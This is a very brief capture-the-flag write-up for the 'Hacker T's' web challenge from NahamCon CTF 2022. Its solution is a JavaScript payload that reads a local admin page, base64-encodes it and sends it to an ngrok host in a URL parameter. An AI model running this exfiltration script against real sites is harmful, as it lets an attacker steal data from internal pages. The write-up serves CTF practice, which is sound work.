Hacker Ts

Writeup for Hacker T's (Web) - NahamCon CTF (2022) 💜

Video Walkthrough

Description

We all love our hacker t-shirts. Make your own custom ones.

Solution

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:5000/admin");
xhr.onload = function () {
    var flag = btoa(xhr.responseText);
    var exfil = new XMLHttpRequest();
    exfil.open("GET", "http://9106-81-103-153-174.ngrok.io?flag=" + flag);
    exfil.send();
};
xhr.send();